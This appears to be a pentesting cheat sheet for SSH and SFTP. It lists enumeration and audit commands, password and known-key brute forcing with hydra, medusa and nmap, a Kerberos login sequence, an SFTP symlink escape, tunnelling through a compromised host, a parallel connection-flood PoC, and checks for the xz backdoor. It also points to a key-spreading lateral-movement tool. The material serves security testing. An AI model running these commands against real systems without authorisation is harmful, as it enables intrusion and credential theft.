22 - Pentesting SSH/SFTP

nc -vn <IP> 22

python3 ssh-audit <IP>
# Reports: cipher algorithms, key exchange, host key algorithms, MACs
# Flags deprecated, unsafe, or weak algorithms

nmap -p22 <ip> -sC                      # Default scripts
nmap -p22 <ip> -sV                      # Version detection
nmap -p22 <ip> --script ssh2-enum-algos # Supported algorithms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root"

ssh-keyscan -t rsa <IP> -p <PORT>

# Timing-based username enumeration (some OpenSSH versions)
msf> use scanner/ssh/ssh_enumusers

hydra -v -V -u -l <username> -P <Big_Passwordlist> -t 1 <IP> ssh
medusa -u <user> -P <passwordlist> -h <IP> -M ssh

# Test known private keys against target
nmap --script ssh-publickey-acceptance -p22 <IP>

# SSH-keybrute (lightweight)
python3 ssh-keybrute.py -h <IP> -u <user> -d /path/to/keys/

# Check badkeys database
# https://github.com/rapid7/ssh-badkeys

# Download pre-generated key sets
# https://github.com/g0tmi1k/debian-ssh

# 1. Sync time with KDC
sudo ntpdate <dc.fqdn>

# 2. Generate krb5.conf
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3. Obtain TGT
kinit <user>
klist

# 4. SSH with GSSAPI
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

ssh -v noraj@192.168.1.94 id
# Or
ssh noraj@192.168.1.94 /bin/bash

Match User noraj
        ChrootDirectory %h
        ForceCommand internal-sftp
        AllowTcpForwarding no
        PermitTunnel no
        X11Forwarding no
        PermitTTY no

sftp> symlink / froot
# Now accessing froot/ via web returns the root filesystem

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

# Fingerprint the version
ssh -V

# Detect with nmap
nmap -p22 --script ssh-auth-methods <IP>

# Pressure-test (PoC only - timing-based)
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}

# Check if affected
xz --version
dpkg -l xz-utils
rpm -qi xz

# Check if sshd loads the backdoor
ldd /usr/sbin/sshd | grep -E "systemd|lzma"

Affected: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
Fix:      Upgrade to patched versions
Impact:   Unauthenticated RCE (daemon usually runs as root)

# Detection: SSH banner shows Erlang/OTP
# Ports: 22, 2022, 830, 2222

# Automatically find private keys and propagate
# https://github.com/MegaManSec/SSH-Snake
# Discovers keys, finds destinations, attempts SSH, repeats recursively

ssh_config         # Client config
sshd_config        # Server config
authorized_keys    # Trusted public keys
known_hosts        # Known server keys
id_rsa             # Default private key location
~/.ssh/